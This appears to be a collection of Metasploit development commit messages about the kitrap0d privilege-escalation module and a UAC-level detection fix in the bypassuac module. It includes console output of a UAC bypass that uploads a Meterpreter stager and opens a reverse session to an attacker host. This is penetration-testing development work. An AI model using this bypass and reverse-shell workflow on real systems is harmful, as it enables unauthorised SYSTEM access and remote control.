As per discussion on the github issue, the following changes were made:
* Project renamed from elevate to kitrap0d, implying that this is not
intended to be a generic local priv esc exploit container.
* Container DLL no longer generic, always calls the kitrap0d exploit.
* Removal of all x64 code and project configurations.
* Invocation of the exploit changed so that the address of the payload
is passed in to the exploit entry point. The exploit is now responsible
for executing the payload if the exploit is successful. This removes
the possibility of the payload getting executed when the exploit fails.
* Source moved to the appropriate CVE folder.
* Binary moved to the appropriate CVE folder.
* Little bit of source rejigging to tidy things up.
* Change ranking.
* Update references to comply with correct approach.
* Update messages to better describe what should happen.
* Update the Windows version regex to match XP.
* Update `check` function to use `unless`.
Thanks again @jvazquez-r7 for the feedback!
The exploit now properly injects the DLL using RDI and invokes the
exploit based on a parameter passed by the Ruby module. The elevate
code is 'generic' with a goal of possibly supporting more exploits
down the track.
New sessions are now created with the SYSTEM creds, rather than
modifying the existing session. This is now inline with how things
are done with other local modules.
This version modifies the existing meterpreter session and bumps the privs
up to SYSTEM. However it's not how local exploits are supposed to work.
More work will be done to make this create a new session with the elevated
privs instead.
Even if the OS detection returns non-Win7, maybe it's Win 8 or something
where it'll still work. We rarely bail out on checks like these.
If I'm crazy, feel free to skip or revert this commit (it shouldn't hold
up the release at all)
For details on this module, see #2503. I don't see any comments about
this line in particular
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
William Vu
OJ
Tod Beardsley
sinn3r
Meatballs
James Lee
jvazquez-r7
MrXors
Rob Fuller
trustedsec
darknight007